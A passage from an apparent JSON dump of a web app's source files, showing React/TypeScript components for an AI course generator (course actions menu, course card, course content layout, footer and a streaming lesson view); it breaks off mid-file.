    "content": "import { MoreVertical, Play, Trash2 } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useToast } from '../../hooks/use-toast';\nimport { useMutation } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { httpDelete } from '../../lib/query-http';\n\ntype AICourseActionsType = {\n  courseSlug: string;\n  onDeleted?: () => void;\n};\n\nexport function AICourseActions(props: AICourseActionsType) {\n  const { courseSlug, onDeleted } = props;\n\n  const toast = useToast();\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  const [isOpen, setIsOpen] = useState(false);\n  const [isConfirming, setIsConfirming] = useState(false);\n\n  const { mutate: deleteCourse, isPending: isDeleting } = useMutation(\n    {\n      mutationFn: async () => {\n        return httpDelete(`/v1-delete-ai-course/${courseSlug}`);\n      },\n      onSuccess: () => {\n        toast.success('Course deleted');\n        queryClient.invalidateQueries({\n          predicate: (query) => query.queryKey?.[0] === 'user-ai-courses',\n        });\n        onDeleted?.();\n      },\n      onError: (error) => {\n        toast.error(error?.message || 'Failed to delete course');\n      },\n    },\n    queryClient,\n  );\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n  });\n\n  useKeydown('Escape', () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div className=\"relative h-full\" ref={dropdownRef}>\n      <button\n        className=\"h-full text-gray-400 hover:text-gray-700\"\n        onClick={(e) => {\n          e.stopPropagation();\n          setIsOpen(!isOpen);\n        }}\n      >\n        <MoreVertical size={16} />\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute right-0 top-8 z-10 w-48 overflow-hidden rounded-md border border-gray-200 bg-white shadow-lg\">\n          <a\n            href={`/ai/${courseSlug}`}\n            className=\"flex w-full items-center gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\"\n          >\n            <Play className=\"h-3.5 w-3.5\" />\n            Start Course\n          </a>\n          {!isConfirming && (\n            <button\n              className=\"flex w-full items-center gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\"\n              onClick={() => setIsConfirming(true)}\n              disabled={isDeleting}\n            >\n              {!isDeleting ? (\n                <>\n                  <Trash2 className=\"h-3.5 w-3.5\" />\n                  Delete Course\n                </>\n              ) : (\n                'Deleting...'\n              )}\n            </button>\n          )}\n\n          {isConfirming && (\n            <span className=\"flex w-full items-center justify-between gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\">\n              Are you sure?\n              <div className=\"flex items-center gap-2\">\n                <button\n                  onClick={() => {\n                    setIsConfirming(false);\n                    deleteCourse();\n                  }}\n                  disabled={isDeleting}\n                  className=\"text-red-500 underline hover:text-red-800\"\n                >\n                  Yes\n                </button>\n                <button\n                  onClick={() => setIsConfirming(false)}\n                  className=\"text-red-500 underline hover:text-red-800\"\n                >\n                  No\n                </button>\n              </div>\n            </span>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseCard.tsx",
    "content": "import type { AICourseWithLessonCount } from '../../queries/ai-course';\nimport type { DifficultyLevel } from './AICourse';\nimport { BookOpen } from 'lucide-react';\nimport { AICourseActions } from './AICourseActions';\nimport { getRelativeTimeString } from '../../lib/date';\nimport { cn } from '../../lib/classname';\n\ntype AICourseCardProps = {\n  course: AICourseWithLessonCount;\n  showActions?: boolean;\n  showProgress?: boolean;\n  variant?: 'row' | 'column';\n};\n\nexport function AICourseCard(props: AICourseCardProps) {\n  const {\n    course,\n    showActions = true,\n    showProgress = true,\n    variant = 'row',\n  } = props;\n\n  const difficultyColor =\n    {\n      beginner: 'text-green-700',\n      intermediate: 'text-blue-700',\n      advanced: 'text-purple-700',\n    }[course.difficulty as DifficultyLevel] || 'text-gray-700';\n\n  const modulesCount = course.modules?.length || 0;\n  const totalTopics = course.lessonCount || 0;\n  const completedTopics = course.done?.length || 0;\n  const progressPercentage =\n    totalTopics > 0 ? Math.round((completedTopics / totalTopics) * 100) : 0;\n  const updatedAgo = getRelativeTimeString(course?.updatedAt);\n\n  return (\n    <div className=\"relative flex flex-grow\">\n      <a\n        href={`/ai/${course.slug}`}\n        className={cn(\n          'group relative flex h-full w-full gap-3 overflow-hidden rounded-lg border border-gray-200 bg-white p-4 text-left transition-all hover:border-gray-300 hover:bg-gray-50 sm:gap-4',\n          variant === 'column' && 'flex-col',\n          variant === 'row' && 'flex-row sm:flex-row sm:items-center',\n        )}\n      >\n        {/* Title and difficulty section */}\n        <div className=\"min-w-0 flex-1\">\n          {course.difficulty && (\n            <div className=\"mb-1 flex items-center gap-2\">\n              <span\n                className={`rounded-full text-xs font-medium capitalize opacity-80 ${difficultyColor}`}\n              >\n                {course.difficulty}\n              </span>\n            </div>\n          )}\n\n          <h3\n            className={cn(\n              'line-clamp-2 text-base font-semibold text-balance text-gray-900',\n              {\n                'max-w-[95%]': variant === 'column',\n              },\n            )}\n          >\n            {course.title\n              ?.replace(\": A Beginner's Guide\", '')\n              ?.replace(' for beginners', '')\n              ?.replace(': A Comprehensive Guide', '')}\n          </h3>\n        </div>\n\n        {/* Course stats section */}\n        <div className=\"mt-7 flex items-center gap-4 sm:gap-4\">\n          <div className=\"hidden items-center text-xs text-gray-600 sm:flex\">\n            <BookOpen className=\"mr-1 h-3.5 w-3.5\" />\n            <span>{modulesCount} modules</span>\n          </div>\n\n          <div className=\"flex items-center gap-2 text-xs text-gray-600\">\n            <div className=\"flex items-center\">\n              <BookOpen className=\"mr-1 h-3.5 w-3.5\" />\n              <span>{totalTopics} lessons</span>\n            </div>\n\n            {showProgress && totalTopics > 0 && (\n              <>\n                <span className=\"hidden text-gray-400 sm:inline\">•</span>\n                <div className=\"flex items-center\">\n                  <span className=\"flex items-center text-xs font-medium text-gray-700\">\n                    {progressPercentage}% complete\n                  </span>\n                </div>\n              </>\n            )}\n          </div>\n        </div>\n      </a>\n\n      {showActions && course.slug && (\n        <div className=\"absolute top-2 right-2\">\n          <AICourseActions courseSlug={course.slug} />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseContent.tsx",
    "content": "import {\n  BookOpenCheck,\n  ChevronLeft,\n  CircleAlert,\n  CircleOff,\n  Menu,\n  X,\n  Map,\n  MessageCircleOffIcon,\n  MessageCircleIcon,\n} from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { type AiCourse } from '../../lib/ai';\nimport { cn } from '../../lib/classname';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { ErrorIcon } from '../ReactIcons/ErrorIcon';\nimport { AICourseLesson } from './AICourseLesson';\nimport { AICourseLimit } from './AICourseLimit';\nimport { AICourseSidebarModuleList } from './AICourseSidebarModuleList';\nimport { AILimitsPopup } from './AILimitsPopup';\nimport { AICourseOutlineView } from './AICourseOutlineView';\nimport { AICourseRoadmapView } from './AICourseRoadmapView';\nimport { AICourseFooter } from './AICourseFooter';\nimport { ForkCourseAlert } from './ForkCourseAlert';\nimport { ForkCourseConfirmation } from './ForkCourseConfirmation';\nimport { useAuth } from '../../hooks/use-auth';\nimport { getPercentage } from '../../lib/number';\n\ntype AICourseContentProps = {\n  courseSlug?: string;\n  course: AiCourse;\n  isLoading: boolean;\n  error?: string;\n  onRegenerateOutline: (prompt?: string) => void;\n  creatorId?: string;\n};\n\nexport type AICourseViewMode = 'module' | 'outline' | 'roadmap';\n\nexport function AICourseContent(props: AICourseContentProps) {\n  const {\n    course,\n    courseSlug,\n    isLoading,\n    error,\n    onRegenerateOutline,\n    creatorId,\n  } = props;\n\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [showAILimitsPopup, setShowAILimitsPopup] = useState(false);\n  const [isAIChatsOpen, setIsAIChatsOpen] = useState(true);\n\n  const [activeModuleIndex, setActiveModuleIndex] = useState(0);\n  const [activeLessonIndex, setActiveLessonIndex] = useState(0);\n  const [sidebarOpen, setSidebarOpen] = useState(false);\n  const [viewMode, setViewMode] = useState<AICourseViewMode>('outline');\n  const [isForkingCourse, setIsForkingCourse] = useState(false);\n\n  const { isPaidUser } = useIsPaidUser();\n  const currentUser = useAuth();\n\n  const aiCourseProgress = course.done || [];\n\n  const [expandedModules, setExpandedModules] = useState<\n    Record<number, boolean>\n  >({});\n\n  const goToNextModule = () => {\n    if (activeModuleIndex >= course.modules.length) {\n      return;\n    }\n\n    const nextModuleIndex = activeModuleIndex + 1;\n    setActiveModuleIndex(nextModuleIndex);\n    setActiveLessonIndex(0);\n\n    setExpandedModules((prev) => {\n      const newState: Record<number, boolean> = {};\n      course.modules.forEach((_, idx) => {\n        newState[idx] = false;\n      });\n\n      newState[nextModuleIndex] = true;\n      return newState;\n    });\n  };\n\n  const goToNextLesson = () => {\n    const currentModule = course.modules[activeModuleIndex];\n    if (currentModule && activeLessonIndex < currentModule.lessons.length - 1) {\n      setActiveLessonIndex(activeLessonIndex + 1);\n    } else {\n      goToNextModule();\n    }\n  };\n\n  const goToPrevLesson = () => {\n    if (activeLessonIndex > 0) {\n      setActiveLessonIndex(activeLessonIndex - 1);\n      return;\n    }\n\n    const prevModule = course.modules[activeModuleIndex - 1];\n    if (!prevModule) {\n      return;\n    }\n\n    const prevModuleIndex = activeModuleIndex - 1;\n    setActiveModuleIndex(prevModuleIndex);\n    setActiveLessonIndex(prevModule.lessons.length - 1);\n\n    // Expand the previous module in the sidebar\n    setExpandedModules((prev) => {\n      const newState: Record<number, boolean> = {};\n      // Set all modules to collapsed\n      course.modules.forEach((_, idx) => {\n        newState[idx] = false;\n      });\n      // Expand only the previous module\n      newState[prevModuleIndex] = true;\n      return newState;\n    });\n  };\n\n  const currentModule = course.modules[activeModuleIndex];\n  const currentLesson = currentModule?.lessons[activeLessonIndex];\n  const totalModules = course.modules.length;\n  const totalLessons = currentModule?.lessons.length || 0;\n\n  const totalCourseLessons = course.modules.reduce(\n    (total, module) => total + module.lessons.length,\n    0,\n  );\n\n  const totalDoneLessons = (course?.done || []).length;\n  const finishedPercentage = getPercentage(\n    totalDoneLessons,\n    totalCourseLessons,\n  );\n\n  const modals = (\n    <>\n      {showUpgradeModal && (\n        <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n      )}\n\n      {showAILimitsPopup && (\n        <AILimitsPopup\n          onClose={() => setShowAILimitsPopup(false)}\n          onUpgrade={() => {\n            setShowAILimitsPopup(false);\n            setShowUpgradeModal(true);\n          }}\n        />\n      )}\n    </>\n  );\n\n  useEffect(() => {\n    if (window && window?.innerWidth < 1024 && isAIChatsOpen) {\n      setIsAIChatsOpen(false);\n    }\n  }, []);\n\n  if (error && !isLoading) {\n    const isLimitReached = error.includes('limit');\n    const isNotFound = error.includes('not exist');\n\n    let icon = <ErrorIcon additionalClasses=\"mb-4 size-16\" />;\n    let title = 'Error occurred';\n    let message = error;\n\n    if (isLimitReached) {\n      icon = <CircleAlert className=\"mb-4 size-16 text-yellow-500\" />;\n      title = 'Limit Reached';\n      message =\n        'You have reached the daily AI usage limit. Please upgrade your account to continue.';\n    } else if (isNotFound) {\n      icon = <CircleOff className=\"mb-4 size-16 text-gray-300\" />;\n      title = 'Course Not Found';\n      message =\n        'The course you are looking for does not exist. Why not create your own course?';\n    }\n\n    const showUpgradeButton = isLimitReached && !isPaidUser;\n\n    return (\n      <>\n        {modals}\n        <div className=\"flex h-screen flex-col items-center justify-center px-4 text-center\">\n          {icon}\n          <h1 className=\"mb-2 text-2xl font-bold\">{title}</h1>\n          <p className=\"max-w-sm text-balance text-gray-500\">{message}</p>\n\n          {showUpgradeButton && (\n            <div className=\"my-5\">\n              <button\n                onClick={() => setShowUpgradeModal(true)}\n                className=\"rounded-md bg-yellow-400 px-6 py-2 text-sm font-medium text-black hover:bg-yellow-500\"\n              >\n                Upgrade to remove Limits\n              </button>\n\n              <p className=\"mt-5 text-sm text-black\">\n                <a\n                  href=\"/ai\"\n                  className=\"font-medium underline underline-offset-2\"\n                >\n                  Back to AI Tutor\n                </a>\n              </p>\n            </div>\n          )}\n\n          {(isNotFound || !showUpgradeButton) && (\n            <div className=\"my-5\">\n              <a\n                href=\"/ai\"\n                className=\"hover:bg-opacity-80 rounded-md bg-black px-6 py-2 text-sm font-medium text-white\"\n              >\n                Create a course with AI\n              </a>\n            </div>\n          )}\n        </div>\n      </>\n    );\n  }\n\n  const isViewingLesson = viewMode === 'module';\n  const isForkable = !!currentUser?.id && currentUser.id !== creatorId;\n\n  return (\n    <section className=\"flex h-screen grow flex-col overflow-hidden bg-gray-50\">\n      {modals}\n\n      <div className=\"border-b border-gray-200 bg-gray-100\">\n        <div className=\"flex items-center justify-between px-4 py-2\">\n          <a\n            href=\"/ai\"\n            onClick={(e) => {\n              if (isViewingLesson) {\n                e.preventDefault();\n                setViewMode('outline');\n              }\n            }}\n            className=\"flex flex-row items-center gap-1.5 text-sm font-medium text-gray-700 hover:text-gray-900\"\n            aria-label=\"Back to generator\"\n          >\n            <ChevronLeft className=\"size-4\" strokeWidth={2.5} />\n            Back{' '}\n            <span className=\"hidden lg:inline\">\n              {isViewingLesson ? 'to Outline' : 'to AI Tutor'}\n            </span>\n          </a>\n          <div className=\"flex items-center gap-2\">\n            {!isLoading && (\n              <div className=\"flex flex-row lg:hidden\">\n                <AICourseLimit\n                  onUpgrade={() => setShowUpgradeModal(true)}\n                  onShowLimits={() => setShowAILimitsPopup(true)}\n                />\n              </div>\n            )}\n\n            {viewMode === 'module' && (\n              <button\n                onClick={() => setIsAIChatsOpen(!isAIChatsOpen)}\n                className=\"flex items-center justify-center text-gray-400 shadow-xs transition-colors hover:bg-gray-50 hover:text-gray-900 lg:hidden\"\n              >\n                {isAIChatsOpen ? (\n                  <MessageCircleOffIcon size={17} strokeWidth={3} />\n                ) : (\n                  <MessageCircleIcon size={17} strokeWidth={3} />\n                )}\n              </button>\n            )}\n\n            <button\n              onClick={() => setSidebarOpen(!sidebarOpen)}\n              className=\"flex items-center justify-center text-gray-400 shadow-xs transition-colors hover:bg-gray-50 hover:text-gray-900 lg:hidden\"\n            >\n              {sidebarOpen ? (\n                <X size={17} strokeWidth={3} />\n              ) : (\n                <Menu size={17} strokeWidth={3} />\n              )}\n            </button>\n          </div>\n        </div>\n      </div>\n      <header className=\"flex items-center justify-between border-b border-gray-200 bg-white px-6 max-lg:py-4 lg:h-[80px]\">\n        <div className=\"flex items-center\">\n          <div className=\"flex flex-col\">\n            <h1 className=\"text-xl leading-tight! font-bold text-balance text-gray-900 max-lg:mb-0.5 max-lg:text-lg\">\n              {course.title || 'Loading Course...'}\n            </h1>\n            <div className=\"mt-1 flex flex-row items-center gap-2 text-sm text-gray-600 max-lg:text-xs\">\n              <span className=\"font-medium\">{totalModules} modules</span>\n              <span className=\"text-gray-400\">•</span>\n              <span className=\"font-medium\">{totalCourseLessons} lessons</span>\n\n              {viewMode === 'module' && (\n                <span className=\"flex flex-row items-center gap-1 lg:hidden\">\n                  <span className=\"text-gray-400\">•</span>\n                  <button\n                    className=\"underline underline-offset-2\"\n                    onClick={() => {\n                      setExpandedModules({});\n                      setViewMode('outline');\n                    }}\n                  >\n                    View outline\n                  </button>\n                </span>\n              )}\n\n              {finishedPercentage > 0 && !isLoading && (\n                <>\n                  <span className=\"text-gray-400\">•</span>\n                  <span className=\"font-medium text-green-600\">\n                    {finishedPercentage}% complete\n                  </span>\n                </>\n              )}\n            </div>\n          </div>\n        </div>\n        {!isLoading && (\n          <div className=\"flex gap-2\">\n            <div className=\"hidden gap-2 lg:flex\">\n              <AICourseLimit\n                onUpgrade={() => setShowUpgradeModal(true)}\n                onShowLimits={() => setShowAILimitsPopup(true)}\n              />\n            </div>\n          </div>\n        )}\n      </header>\n\n      <div className=\"flex flex-1 overflow-hidden\">\n        <aside\n          className={cn(\n            'fixed inset-y-0 left-0 z-20 w-80 transform overflow-y-auto border-r border-gray-200 bg-white transition-transform duration-200 ease-in-out lg:relative lg:mt-0 lg:translate-x-0',\n            sidebarOpen ? 'translate-x-0' : '-translate-x-full',\n          )}\n        >\n          <div\n            className={cn(\n              'relative flex min-h-[40px] items-center justify-between border-b border-gray-200 px-3',\n              isLoading && 'striped-loader bg-gray-50',\n            )}\n          >\n            {!isLoading && (\n              <div className=\"flex w-full items-center justify-between text-xs text-black\">\n                <span>\n                  <span className=\"relative z-10 rounded-full bg-yellow-400 px-1.5 py-0.5\">\n                    {finishedPercentage}%\n                  </span>{' '}\n                  <span className=\"relative z-10\">Completed</span>\n                </span>\n                <span\n                  style={{\n                    width: `${finishedPercentage}%`,\n                  }}\n                  className={cn(\n                    'absolute top-0 bottom-0 left-0',\n                    'bg-gray-200/50',\n                  )}\n                ></span>\n\n                <div className=\"flex gap-0 rounded-md bg-white p-0.5\">\n                  <button\n                    onClick={() => {\n                      setExpandedModules({});\n                      setViewMode('outline');\n                    }}\n                    className={cn(\n                      'flex items-center gap-1 rounded-sm px-2 py-1 text-xs transition-colors',\n                      viewMode === 'outline'\n                        ? 'bg-gray-200 text-gray-900'\n                        : 'text-gray-600 hover:bg-gray-50',\n                    )}\n                  >\n                    <BookOpenCheck size={14} />\n                    Outline\n                  </button>\n                  <button\n                    onClick={() => {\n                      setExpandedModules({});\n                      setViewMode('roadmap');\n                    }}\n                    className={cn(\n                      'flex items-center gap-1 rounded-sm px-2 py-1 text-xs transition-colors',\n                      viewMode === 'roadmap'\n                        ? 'bg-gray-200 text-gray-900'\n                        : 'text-gray-600 hover:bg-gray-50',\n                    )}\n                  >\n                    <Map size={14} />\n                    Map\n                  </button>\n                </div>\n              </div>\n            )}\n\n            <button\n              onClick={() => setSidebarOpen(false)}\n              className=\"rounded-md p-1 hover:bg-gray-100 lg:hidden\"\n            >\n              <X size={18} />\n            </button>\n          </div>\n\n          <AICourseSidebarModuleList\n            course={course}\n            courseSlug={courseSlug}\n            activeModuleIndex={\n              viewMode === 'module' ? activeModuleIndex : undefined\n            }\n            setActiveModuleIndex={setActiveModuleIndex}\n            activeLessonIndex={\n              viewMode === 'module' ? activeLessonIndex : undefined\n            }\n            setActiveLessonIndex={setActiveLessonIndex}\n            setSidebarOpen={setSidebarOpen}\n            viewMode={viewMode}\n            setViewMode={setViewMode}\n            expandedModules={expandedModules}\n            setExpandedModules={setExpandedModules}\n            isLoading={isLoading}\n          />\n        </aside>\n\n        <main\n          className={cn(\n            'flex-1 overflow-y-scroll p-6 transition-all duration-200 ease-in-out max-lg:p-3',\n            sidebarOpen ? 'lg:ml-0' : '',\n            viewMode === 'module'\n              ? 'flex flex-col overflow-hidden p-0 max-lg:p-0'\n              : '',\n          )}\n          key={`${courseSlug}-${viewMode}`}\n        >\n          {isForkable &&\n            courseSlug &&\n            (viewMode === 'outline' || viewMode === 'roadmap') && (\n              <ForkCourseAlert\n                creatorId={creatorId}\n                onForkCourse={() => {\n                  setIsForkingCourse(true);\n                }}\n              />\n            )}\n\n          {isForkingCourse && (\n            <ForkCourseConfirmation\n              onClose={() => {\n                setIsForkingCourse(false);\n              }}\n              courseSlug={courseSlug!}\n            />\n          )}\n\n          {viewMode === 'module' && (\n            <AICourseLesson\n              courseSlug={courseSlug!}\n              creatorId={creatorId}\n              progress={aiCourseProgress}\n              activeModuleIndex={activeModuleIndex}\n              totalModules={totalModules}\n              currentModuleTitle={currentModule?.title || ''}\n              activeLessonIndex={activeLessonIndex}\n              totalLessons={totalLessons}\n              currentLessonTitle={currentLesson || ''}\n              onGoToPrevLesson={goToPrevLesson}\n              onGoToNextLesson={goToNextLesson}\n              key={`${courseSlug}-${activeModuleIndex}-${activeLessonIndex}`}\n              onUpgrade={() => setShowUpgradeModal(true)}\n              isAIChatsOpen={isAIChatsOpen}\n              setIsAIChatsOpen={setIsAIChatsOpen}\n              isForkable={isForkable}\n              onForkCourse={() => {\n                setIsForkingCourse(true);\n              }}\n            />\n          )}\n\n          {viewMode === 'outline' && (\n            <AICourseOutlineView\n              course={course}\n              isLoading={isLoading}\n              onRegenerateOutline={onRegenerateOutline}\n              setActiveModuleIndex={setActiveModuleIndex}\n              setActiveLessonIndex={setActiveLessonIndex}\n              setSidebarOpen={setSidebarOpen}\n              setViewMode={setViewMode}\n              setExpandedModules={setExpandedModules}\n              viewMode={viewMode}\n              isForkable={isForkable}\n              onForkCourse={() => {\n                setIsForkingCourse(true);\n              }}\n              courseSlug={courseSlug!}\n            />\n          )}\n\n          {viewMode === 'roadmap' && !isLoading && (\n            <AICourseRoadmapView\n              done={course.done}\n              courseSlug={courseSlug!}\n              course={course}\n              isLoading={isLoading}\n              onRegenerateOutline={onRegenerateOutline}\n              setActiveModuleIndex={setActiveModuleIndex}\n              setActiveLessonIndex={setActiveLessonIndex}\n              setViewMode={setViewMode}\n              setExpandedModules={setExpandedModules}\n              onUpgradeClick={() => setShowUpgradeModal(true)}\n              viewMode={viewMode}\n              isForkable={isForkable}\n              onForkCourse={() => {\n                setIsForkingCourse(true);\n              }}\n            />\n          )}\n\n          <AICourseFooter className={viewMode === 'module' ? 'hidden' : ''} />\n        </main>\n      </div>\n\n      {sidebarOpen && (\n        <div\n          className=\"fixed inset-0 z-10 bg-gray-900/50 lg:hidden\"\n          onClick={() => setSidebarOpen(false)}\n        ></div>\n      )}\n    </section>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseFooter.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ntype AICourseFooterProps = {\n  className?: string;\n};\nexport function AICourseFooter(props: AICourseFooterProps) {\n  const { className } = props;\n\n  return (\n    <div\n      className={cn(\n        'mx-auto mb-10 mt-5 text-center text-sm text-gray-400',\n        className,\n      )}\n    >\n      AI can make mistakes, check important info.\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseLesson.tsx",
    "content": "import { useMutation } from '@tanstack/react-query';\nimport {\n  CheckIcon,\n  ChevronLeft,\n  ChevronRight,\n  GitForkIcon,\n  Loader2Icon,\n  LockIcon,\n  MessageCircleIcon,\n  MessageCircleOffIcon,\n  XIcon,\n} from 'lucide-react';\nimport { useEffect, useMemo, useState } from 'react';\nimport type { AICourseDocument } from '../../api/ai-roadmap';\nimport { readStream } from '../../lib/ai';\nimport { cn } from '../../lib/classname';\nimport { isLoggedIn, removeAuthToken } from '../../lib/jwt';\nimport {\n  markdownToHtml,\n  markdownToHtmlWithHighlighting,\n} from '../../lib/markdown';\nimport { httpPatch } from '../../lib/query-http';\nimport { slugify } from '../../lib/slugger';\nimport { aiLimitOptions, getAiCourseOptions } from '../../queries/ai-course';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { queryClient } from '../../stores/query-client';\nimport './AICourseLessonChat.css';\nimport { RegenerateLesson } from './RegenerateLesson';\nimport { TestMyKnowledgeAction } from './TestMyKnowledgeAction';\nimport {\n  AICourseLessonChat,\n  type AIChatHistoryType,\n} from './AICourseLessonChat';\nimport { AICourseFooter } from './AICourseFooter';\nimport {\n  ResizableHandle,\n  ResizablePanel,\n  ResizablePanelGroup,\n} from './Resizeable';\nimport { showLoginPopup } from '../../lib/popup';\nimport { LoginToView } from '../AITutor/LoginToView';\n\nfunction getQuestionsFromResult(result: string) {\n  const matchedQuestions = result.match(\n    /=START_QUESTIONS=(.*?)=END_QUESTIONS=/,\n  );\n\n  if (matchedQuestions) {\n    return matchedQuestions[1].split('@@');\n  }\n\n  return [];\n}\n\ntype AICourseLessonProps = {\n  courseSlug: string;\n  progress: string[];\n  creatorId?: string;\n\n  activeModuleIndex: number;\n  totalModules: number;\n  currentModuleTitle: string;\n  activeLessonIndex: number;\n  totalLessons: number;\n  currentLessonTitle: string;\n\n  onGoToPrevLesson: () => void;\n  onGoToNextLesson: () => void;\n\n  onUpgrade: () => void;\n\n  isAIChatsOpen: boolean;\n  setIsAIChatsOpen: (isOpen: boolean) => void;\n\n  isForkable: boolean;\n  onForkCourse: () => void;\n};\n\nexport function AICourseLesson(props: AICourseLessonProps) {\n  const {\n    courseSlug,\n    progress = [],\n    creatorId,\n\n    activeModuleIndex,\n    totalModules,\n    currentModuleTitle,\n    activeLessonIndex,\n    totalLessons,\n    currentLessonTitle,\n\n    onGoToPrevLesson,\n    onGoToNextLesson,\n\n    onUpgrade,\n\n    isAIChatsOpen,\n    setIsAIChatsOpen,\n\n    isForkable,\n    onForkCourse,\n  } = props;\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [isGenerating, setIsGenerating] = useState(false);\n  const [error, setError] = useState('');\n  const [defaultQuestions, setDefaultQuestions] = useState<string[]>([]);\n\n  const [lessonHtml, setLessonHtml] = useState('');\n\n  const lessonId = `${slugify(String(activeModuleIndex))}-${slugify(String(activeLessonIndex))}`;\n  const isLessonDone = progress?.includes(lessonId);\n\n  const [courseAIChatHistory, setCourseAIChatHistory] = useState<\n    AIChatHistoryType[]\n  >([\n    {\n      role: 'assistant',\n      content: 'Hey, I am your AI instructor. How can I help you today? 🤖',\n      isDefault: true,\n    },\n  ]);\n\n  const { isPaidUser } = useIsPaidUser();\n\n  const abortController = useMemo(\n    () => new AbortController(),\n    [activeModuleIndex, activeLessonIndex],\n  );\n\n  const generateAiCourseContent = async (\n    isForce?: boolean,\n    customPrompt?: string,\n  ) => {\n    setIsLoading(true);\n    setError('');\n    setLessonHtml('');\n\n    if (!isLoggedIn()) {\n      setIsLoading(false);\n      setError('Please login to generate course content');\n      return;\n    }\n\n    if (!currentModuleTitle || !currentLessonTitle) {\n      setIsLoading(false);\n      setError('Invalid module title or lesson title');\n      return;\n    }\n\n    const response = await fetch(\n      `${import.meta.env.PUBLIC_API_URL}/v1-generate-ai-course-lesson/${courseSlug}`,\n      {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/json',\n        },\n        signal: abortController.signal,\n        credentials: 'include',\n        body: JSON.stringify({\n          moduleIndex: activeModuleIndex,\n          lessonIndex: activeLessonIndex,\n          isForce,\n          customPrompt,\n        }),\n      },\n    );\n\n    if (!response.ok) {\n      const data = await response.json();\n\n      setError(data?.message || 'Something went wrong');\n      setIsLoading(false);\n\n      // Logout user if token is invalid\n      if (data.status === 401) {\n        removeAuthToken();\n        window.location.reload();\n      }\n      return;\n    }\n\n    if (!response.body) {\n      setIsLoading(false);\n      setError('No response body received');\n      return;\n    }\n\n    try {\n      const reader = response.body.getReader();\n      setIsLoading(false);\n      setIsGenerating(true);\n      await readStream(reader, {\n        onStream: async (result) => {\n          if (abortController.signal.aborted) {\n            return;\n          }\n\n          const questions = getQuestionsFromResult(result);\n          setDefaultQuestions(questions);\n          const newResult = result.replace(\n            /=START_QUESTIONS=.*?=END_QUESTIONS=/,\n            '',\n          );\n\n          setLessonHtml(markdownToHtml(newResult, false));\n        },\n        onStreamEnd: async (result) => {\n          if (abortController.signal.aborted) {\n            return;\n          }\n\n          const questions = getQuestionsFromResult(result);\n          setDefaultQuestions(questions);\n\n          const newResult = result.replace(\n            /=START_QUESTIONS=.*?=END_QUESTIONS=/,\n            '',\n          );\n\n          const markdownHtml = await markdownToHtmlWithHighlighting(\n            newResult,\n          ).catch((e) => {\n            console.error(e);\n            return newResult;\n          });\n\n          setLessonHtml(markdownHtml);\n          queryClient.invalidateQueries(aiLimitOptions());\n          setIsGenerating(false);\n        },\n      });\n    } catch (e) {\n      setError(e instanceof Error ? e.message : 'Something went wrong');\n      setIsLoading(false);\n    }\n  };\n\n  const { mutate: toggleDone, isPending: isTogglingDone } = useMutation(\n    {\n      mutationFn: () => {\n        return httpPatch<AICourseDocument>(\n          `/v1-toggle-done-ai-lesson/${courseSlug}`,\n          {\n            moduleIndex: activeModuleIndex,\n            lessonIndex: activeLessonIndex,\n          },\n        );\n      },\n      onSuccess: (data) => {\n        queryClient.setQueryData(\n          getAiCourseOptions({ aiCourseSlug: courseSlug }).queryKey,\n          data,\n        );\n      },\n    },\n    queryClient,\n  );\n\n  useEffect(() => {\n    generateAiCourseContent();\n  }, [currentModuleTitle, currentLessonTitle]);\n\n  useEffect(() => {\n    return () => {\n      abortController.abort();\n    };\n  }, [abortController]);\n\n  const cantGoForward =\n    (activeModuleIndex === totalModules - 1 &&\n      activeLessonIndex === totalLessons - 1) ||\n    isGenerating ||\n    isLoading;\n\n  const cantGoBack =\n    (activeModuleIndex === 0 && activeLessonIndex === 0) ||\n    isGenerating ||\n    isLoading;\n\n  return (\n    <div className=\"h-full\">\n      <ResizablePanelGroup direction=\"horizontal\">\n        <ResizablePanel\n          defaultSize={isAIChatsOpen ? 70 : 100}\n          minSize={40}\n          id=\"course-text-content\"\n          className=\"h-full overflow-y-scroll! bg-white\"\n          order={1}\n        >\n          <div className=\"relative mx-auto max-w-5xl\">\n            <div className=\"bg-white p-8 pb-0 max-lg:px-4 max-lg:pt-3\">\n              {(isGenerating || isLoading) && (\n                <div className=\"absolute top-6 right-6 flex items-center justify-center\">\n                  <Loader2Icon\n                    size={18}\n                    strokeWidth={3}\n                    className=\"animate-spin text-gray-400/70\"\n                  />\n                </div>\n              )}\n\n              <div className=\"mb-4 flex justify-between max-sm:flex-col-reverse\">\n                <div className=\"text-sm text-gray-500\">\n                  Lesson {activeLessonIndex + 1} of {totalLessons}\n                </div>\n\n                {!isGenerating && !isLoading && (\n                  <div className=\"top-2 right-2 mb-3 flex items-center gap-2 max-sm:justify-end md:absolute lg:top-6 lg:right-6\">\n                    <button\n                      onClick={() => setIsAIChatsOpen(!isAIChatsOpen)}\n                      className=\"rounded-full p-1 text-gray-400 hover:text-black max-lg:hidden\"\n                    >\n                      {!isAIChatsOpen ? 